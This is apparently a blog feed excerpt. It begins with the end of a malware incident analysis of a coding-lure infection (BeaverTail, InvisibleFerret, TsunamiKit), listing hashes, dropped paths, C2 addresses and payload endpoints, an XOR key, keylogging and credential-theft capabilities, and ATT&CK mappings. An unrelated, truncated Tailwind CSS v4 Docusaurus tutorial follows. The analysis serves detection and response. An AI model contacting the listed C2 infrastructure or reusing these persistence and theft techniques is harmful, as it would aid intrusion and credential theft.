&lt;td&gt;Later archived &lt;code&gt;__mocks__/audio-config.js&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;109,196&lt;/td&gt;
&lt;td&gt;&lt;code&gt;d51e1f845b19adc9bd87ba5fd290ba736e365db7&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ca9ccd8aa46e3a6647237991774b872d665c24b69ea979922350d7794a087ccb&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Later archived &lt;code&gt;music-game.zip&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;53,219,322&lt;/td&gt;
&lt;td&gt;&lt;code&gt;a8f09785d3cfd7461b6b2e8c4fe3bce625f1f7ef&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;8dc8c811b7420c92690e843b1891222add5e6a389ef5ee3bab43945adad7756e&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The separately derived normalized SHA-256 for the identical &lt;strong&gt;embedded/installed TsunamiInjector plaintext&lt;/strong&gt; is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;c571be1970eadbe808bc5d18f91d70af482b9bb14366dca66dcdbb88f9058e33
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The table above gives the recovered SHA-1 and SHA-256 values for the primary artifacts.&lt;/p&gt;

&lt;h3&gt;
  
  
  Files and their relationships
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;music-game/                                  Later archived project
  babel.config.js                            Suspicious side-effect require
  __mocks__/audio-config.js                  Obfuscated BeaverTail-like JS

%USERPROFILE%\.pyp\python.exe               Bundled Python 3.11 runtime
%USERPROFILE%\.pyp\pythonw.exe              Console-free interpreter
%USERPROFILE%\.npl                           64-layer InvisibleFerret loader
%USERPROFILE%\.n2\pay                        64-layer RAT, input capture, uploads
%USERPROFILE%\.n2\bow                        114-layer TsunamiLoader carrier
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\
  Windows Update Script.pyw                  50-layer TsunamiInjector payload

Referential / conditional paths found in code (not recovered binaries):
%USERPROFILE%\.n2\adc                        Optional auxiliary retrieval
%USERPROFILE%\.n2\flist                      Potential uploaded-file bookkeeping
%APPDATA%\Microsoft\Windows\Applications\Runtime Broker.exe
%LOCALAPPDATA%\Microsoft\Windows\Applications\Runtime Broker.exe
%LOCALAPPDATA%\Microsoft\Windows\Applications\msedge.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These paths are documented to support hunting and understand each recovered code reference; the first group was directly observed, while the latter are configured targets or possible outputs.&lt;/p&gt;

&lt;h3&gt;
  
  
  Network indicators extracted from the samples
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Host/address&lt;/th&gt;
&lt;th&gt;Port/path&lt;/th&gt;
&lt;th&gt;Decoded role&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;144.172.97.7&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;TCP 1224&lt;/td&gt;
&lt;td&gt;HTTP C2 service&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;144.172.97.7&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;TCP 2249&lt;/td&gt;
&lt;td&gt;Persistent backdoor socket&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;hxxp://144[.]172[.]97[.]7:1224&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/payload/10/102&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Download &lt;code&gt;pay&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Same HTTP host&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/brow/10/102&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Download &lt;code&gt;bow&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Same HTTP host&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/keys&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Register host/system information&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Same HTTP host&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/uploads&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Transfer requested files&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Same HTTP host&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/adc/10&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Download auxiliary module&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ip-api[.]com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/json&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;External-IP/geolocation query&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;pastebin[.]com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/u/&amp;lt;profile&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;TsunamiKit indirect installer-URL discovery&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;10.10.51.212&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Inactive, commented lines&lt;/td&gt;
&lt;td&gt;Private-network development remnant, not the configured C2&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The public reverse DNS observed in the cited infrastructure research for &lt;code&gt;144.172.97.7&lt;/code&gt; is &lt;code&gt;7.97.172.144.static.cloudzy.com&lt;/code&gt;, in the AS14956 RouterHosting LLC prefix &lt;code&gt;144.172.97.0/24&lt;/code&gt; (IPinfo). The provider relationship is useful technical context, rather than evidence that every customer of the provider is malicious.&lt;/p&gt;

&lt;h3&gt;
  
  
  Bundled Python package distributions
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Distribution&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;th&gt;Code-level connection&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;pyWinhook&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1.6.2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Key and mouse hooks used by &lt;code&gt;pay&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;pyperclip&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1.8.2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Clipboard access in &lt;code&gt;pay&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;pywin32&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;306&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Foreground window/Win32 hook message handling&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;psutil&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;5.9.5&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Process metadata used by &lt;code&gt;pay&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;requests&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;2.31.0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Loader requests, registration, uploads&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;pycryptodome&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;3.18.0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Bundled dependency; no specific use established by decoded stages&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;urllib3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;2.0.3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Dependency of &lt;code&gt;requests&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;idna&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;3.4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Network dependency&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charset-normalizer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;3.1.0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;HTTP text/decode dependency&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;certifi&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;2023.5.7&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Certificate bundle&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;pip&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;22.3.1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Package installation support&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;setuptools&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;65.5.0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Python packaging support&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Detection rule of thumb:&lt;/strong&gt; the packages are legitimate, widely used software. The finding is their placement inside the bundled &lt;code&gt;.pyp&lt;/code&gt; runtime alongside scripts that call the corresponding hooks and networking APIs.&lt;/p&gt;

&lt;h3&gt;
  
  
  Connection to published papers
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;th&gt;Specific published behavior&lt;/th&gt;
&lt;th&gt;Matching case evidence&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unit 42, 2023&lt;/td&gt;
&lt;td&gt;Coding-task lure; BeaverTail/InvisibleFerret; private &lt;code&gt;.pyp&lt;/code&gt; runtime and &lt;code&gt;.npl&lt;/code&gt; stages&lt;/td&gt;
&lt;td&gt;Developer workflow and original &lt;code&gt;.pyp&lt;/code&gt;/&lt;code&gt;.npl&lt;/code&gt; creation cluster&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Group-IB, 2024&lt;/td&gt;
&lt;td&gt;Trojanized games; modular &lt;code&gt;pay&lt;/code&gt;/&lt;code&gt;bow&lt;/code&gt;; named &lt;code&gt;ssh_*&lt;/code&gt; RAT handlers&lt;/td&gt;
&lt;td&gt;Game project and all eight decoded command names&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ESET, Feb 2025&lt;/td&gt;
&lt;td&gt;Developer-focused DeceptiveDevelopment projects&lt;/td&gt;
&lt;td&gt;Suspicious Babel import and staged infection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ESET / Virus Bulletin, Sep 2025&lt;/td&gt;
&lt;td&gt;Modified &lt;code&gt;bow&lt;/code&gt; with TsunamiLoader and encoded TsunamiInjector&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;bow&lt;/code&gt; source containing full injector template and normalized equality with Startup payload&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ESET TsunamiKit analysis&lt;/td&gt;
&lt;td&gt;1,000 Pastebin profiles, &lt;code&gt;!!!HappyPenguin1950!!!&lt;/code&gt;, &lt;code&gt;Runtime Broker.exe&lt;/code&gt;, task + exclusion helper&lt;/td&gt;
&lt;td&gt;Exact count, key, stage path and helper design recovered&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ESET public IOC list&lt;/td&gt;
&lt;td&gt;Published hashes for separate Tsunami examples&lt;/td&gt;
&lt;td&gt;Same family behavior but different hashes from this recovered variant&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GitLab, NVISO, Atlassian, Logpresso&lt;/td&gt;
&lt;td&gt;Other delivery revisions and campaigns&lt;/td&gt;
&lt;td&gt;Broader context; not evidence of those distinct stages on this system&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;ESET's public examples include SHA-1 &lt;code&gt;4499c80dda6dbb492f8667d11d3ffbfeec7a3926&lt;/code&gt; for a &lt;code&gt;bow&lt;/code&gt; variant and &lt;code&gt;c6888fb1de8423d9aef9ddea6b1c96c939a06cf5&lt;/code&gt; for a TsunamiInjector. These are &lt;strong&gt;different samples&lt;/strong&gt; from the hashes above. The distinctive behavior and embedded-source relationship provide the closer match.&lt;/p&gt;

&lt;h3&gt;
  
  
  ATT&amp;amp;CK mapping — decoded implementation
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;MITRE ATT&amp;amp;CK&lt;/th&gt;
&lt;th&gt;Behavior in recovered source&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;T1059.007&lt;/td&gt;
&lt;td&gt;JavaScript executed as part of developer-tool import chain&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1059.006&lt;/td&gt;
&lt;td&gt;Python script modules and loader&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1027&lt;/td&gt;
&lt;td&gt;Multi-round encoding and obfuscation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1105&lt;/td&gt;
&lt;td&gt;Downloading additional malware components&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1547.001&lt;/td&gt;
&lt;td&gt;Startup-folder persistence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1053.005&lt;/td&gt;
&lt;td&gt;Code for scheduled task named &lt;code&gt;Runtime Broker&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1562.001&lt;/td&gt;
&lt;td&gt;Code to request Defender exclusions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1056.001&lt;/td&gt;
&lt;td&gt;Keyboard event hooks / keylogging&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1115&lt;/td&gt;
&lt;td&gt;Clipboard collection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1082&lt;/td&gt;
&lt;td&gt;Host identification&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1059.003&lt;/td&gt;
&lt;td&gt;Shell command execution through subprocess&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1005&lt;/td&gt;
&lt;td&gt;Local file discovery and collection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1041&lt;/td&gt;
&lt;td&gt;Transfers over C2 channel&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1071.001&lt;/td&gt;
&lt;td&gt;HTTP-stage and upload protocol&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1571&lt;/td&gt;
&lt;td&gt;Custom TCP channel on a nonstandard port&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Collection and static-analysis method
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Locally recovered Python artifacts were hashed and decoded offline as source data, never run.&lt;/li&gt;
&lt;li&gt;The wrapper's reversed Base64/zlib structure was recognized through Python AST and iteratively decoded; the final text was inspected for classes, imports, endpoints, file paths and command dispatch.&lt;/li&gt;
&lt;li&gt;The independently recovered Startup source was compared to the literal &lt;code&gt;TSUNAMI_INJECTOR_SCRIPT&lt;/code&gt; embedded in decoded &lt;code&gt;bow&lt;/code&gt;. Only the intentionally randomized &lt;code&gt;RandVar&lt;/code&gt; assignment was normalized before comparing text and calculating SHA-256.&lt;/li&gt;
&lt;li&gt;The 1,000 Pastebin profiles were recovered by reversing the hex→XOR→Base64→reverse-text sequence. They were not visited.&lt;/li&gt;
&lt;li&gt;Filesystem creation metadata and preserved development-tool records were correlated for the February 2025 timeline. Later current-state checks covered known processes, scheduled tasks, services, autoruns and network connections.&lt;/li&gt;
&lt;li&gt;Earlier runtime/network records did not provide a continuous historical trace. The original project revision from the first infection is unavailable; a later archived tree was used to analyze the JavaScript import mechanism.&lt;/li&gt;
&lt;li&gt;No personal user identifiers, private tokens, browser content, cleanup details, or raw registry data are included here.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Defensive interpretation
&lt;/h3&gt;

&lt;p&gt;For endpoint detection, prioritize &lt;em&gt;combinations&lt;/em&gt;: a freshly created &lt;code&gt;.pyp&lt;/code&gt; interpreter, accompanying &lt;code&gt;.npl&lt;/code&gt; and &lt;code&gt;.n2&lt;/code&gt; components, Python processes running extensionless scripts, traffic to the case C2, and Startup entries pointing to obfuscated Python payloads. For static detection, the TsunamiKit XOR key plus the 1,000-entry encoded array and &lt;code&gt;Runtime Broker&lt;/code&gt; path is more discriminating than a generic Python package, &lt;code&gt;RuntimeBroker.exe&lt;/code&gt; process, or Cloudzy subnet.&lt;/p&gt;

&lt;p&gt;For data protection, the recovered source explicitly targets &lt;code&gt;*.env&lt;/code&gt; files, authentication-related strings, wallet references and clipboard/keyboard events. These capabilities make developer credentials, tokens, API keys and authenticated browser sessions relevant to incident response even where exfiltration logs have expired.&lt;/p&gt;




&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;p&gt;[1] Unit 42, &lt;a href="https://unit42.paloaltonetworks.com/two-campaigns-by-north-korea-bad-actors-target-job-hunters/" rel="noopener noreferrer"&gt;&lt;em&gt;Hacking Employers and Seeking Employment: Two Job-Related Campaigns Bear Hallmarks of North Korean Threat Actors&lt;/em&gt;&lt;/a&gt;, 2023.&lt;/p&gt;

&lt;p&gt;[2] Group-IB, &lt;a href="https://www.group-ib.com/blog/apt-lazarus-python-scripts/" rel="noopener noreferrer"&gt;&lt;em&gt;APT Lazarus: Eager Crypto Beavers, Video Calls and Games&lt;/em&gt;&lt;/a&gt;, 4 September 2024.&lt;/p&gt;

&lt;p&gt;[3] ESET Research, &lt;a href="https://www.welivesecurity.com/en/eset-research/deceptivedevelopment-from-primitive-crypto-theft-to-sophisticated-ai-based-deception/" rel="noopener noreferrer"&gt;&lt;em&gt;DeceptiveDevelopment: From Primitive Crypto Theft to Sophisticated AI-Based Deception&lt;/em&gt;&lt;/a&gt;, 25 September 2025; accompanying &lt;a href="https://www.virusbulletin.com/uploads/pdf/conference/vb2025/papers/DeceptiveDevelopment-and-North-Korean-IT-workers-from-primitive-crypto-theft-to-sophisticated-AI-based-deception.pdf" rel="noopener noreferrer"&gt;Virus Bulletin paper&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;[4] Logpresso, &lt;a href="https://logpresso.com/ko/blog/2025-03-17-lazarus-npm" rel="noopener noreferrer"&gt;&lt;em&gt;Lazarus malicious npm package investigation&lt;/em&gt;&lt;/a&gt;, 17 March 2025.&lt;/p&gt;

&lt;p&gt;[5] IPinfo, &lt;a href="https://ipinfo.io/ips/144.172.97.0/24" rel="noopener noreferrer"&gt;&lt;em&gt;144.172.97.0/24 range and ASN records&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;[6] ESET, &lt;a href="https://www.welivesecurity.com/en/eset-research/deceptivedevelopment-targets-freelance-developers/" rel="noopener noreferrer"&gt;&lt;em&gt;DeceptiveDevelopment targets freelance developers&lt;/em&gt;&lt;/a&gt;, 20 February 2025.&lt;/p&gt;

&lt;p&gt;[7] GitLab Security, &lt;a href="https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/north-korean-malware-sept-2025/" rel="noopener noreferrer"&gt;&lt;em&gt;North Korean Malware — September 2025&lt;/em&gt;&lt;/a&gt;; NVISO, &lt;a href="https://blog.nviso.eu/2025/11/13/contagious-interview-actors-now-utilize-json-storage-services-for-malware-delivery/" rel="noopener noreferrer"&gt;&lt;em&gt;Contagious Interview Actors Now Utilize JSON Storage Services&lt;/em&gt;&lt;/a&gt;, November 2025.&lt;/p&gt;

&lt;p&gt;[8] Atlassian, &lt;a href="https://www.atlassian.com/blog/how-we-build/disrupting-contagious-interview/" rel="noopener noreferrer"&gt;&lt;em&gt;Disrupting Contagious Interview&lt;/em&gt;&lt;/a&gt;; ESET's &lt;a href="https://github.com/eset/malware-ioc/blob/master/deceptivedevelopment/README.adoc" rel="noopener noreferrer"&gt;published DeceptiveDevelopment indicators&lt;/a&gt;.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;AI assistance disclosure: OpenAI's ChatGPT assisted with static source analysis, forensic-data processing, literature comparison, and preparation of this article. The technical findings are presented from recovered artifacts and cited external research.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>malware</category>
      <category>python</category>
      <category>security</category>
    </item>
    <item>
      <title>How to Use Tailwind CSS v4 in Docusaurus Without Breaking Its Styles🦖</title>
      <dc:creator>0one</dc:creator>
      <pubDate>Thu, 31 Jul 2025 16:48:20 +0000</pubDate>
      <link>https://dev.to/0one/how-to-use-tailwind-css-v4-in-docusaurus-without-breaking-its-styles-24n4</link>
      <guid>https://dev.to/0one/how-to-use-tailwind-css-v4-in-docusaurus-without-breaking-its-styles-24n4</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Tailwind v4 is fast, powerful, and modern but if you're trying to use it in a &lt;strong&gt;Docusaurus&lt;/strong&gt; site, you'll probably run into one major issue: &lt;strong&gt;Tailwind’s base styles (preflight) override Docusaurus’s own CSS.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This quick guide shows you how to install Tailwind CSS v4 into a Docusaurus project &lt;strong&gt;safely&lt;/strong&gt;, so that Tailwind only affects your &lt;strong&gt;custom components&lt;/strong&gt;, and doesn’t break the rest of your site.&lt;/p&gt;




&lt;h2&gt;
  
  
  ✅ Step 1: Install Tailwind and PostCSS
&lt;/h2&gt;

&lt;p&gt;Run the following in your project root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-D&lt;/span&gt; tailwindcss postcss @tailwindcss/postcss
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  ✅ Step 2: Create a Docusaurus Plugin
&lt;/h2&gt;

&lt;p&gt;Create a file at:&lt;br&gt;&lt;br&gt;
&lt;code&gt;src/plugins/tailwind-config.js&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Paste this inside:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;exports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;tailwindPlugin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;tailwind-plugin&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nf"&gt;configurePostCss&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;postcssOptions&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;postcssOptions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;plugins&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@tailwindcss/postcss&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;postcssOptions&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;Important&lt;/strong&gt;: We're using &lt;code&gt;.push()&lt;/code&gt; instead of replacing the plugin list. This keeps other PostCSS features working (like Sass or autoprefixer).&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  ✅ Step 3: Register the Plugin in &lt;code&gt;docusaurus.config.ts&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Open your &lt;code&gt;docusaurus.config.ts&lt;/code&gt; and add the plugin:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;plugins&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./src/plugins/tailwind-config.js&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  ✅ Step 4: Add Tailwind Imports to Your CSS
&lt;/h2&gt;

&lt;p&gt;Edit &lt;code&gt;src/css/custom.css&lt;/code&gt; and add the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="k"&gt;@import&lt;/span&gt; &lt;span class="s1"&gt;"tailwindcss/theme.css"&lt;/span&gt; &lt;span class="n"&gt;layer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;theme&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;@layer&lt;/span&gt; &lt;span class="n"&gt;base&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;#tw-scope&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="err"&gt;@import&lt;/span&gt; &lt;span class="err"&gt;"tailwindcss/preflight.css"&lt;/span&gt; &lt;span class="err"&gt;layer(base);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;@import&lt;/span&gt; &lt;span class="s1"&gt;"tailwindcss/utilities.css"&lt;/span&gt; &lt;span class="n"&gt;layer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;utilities&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

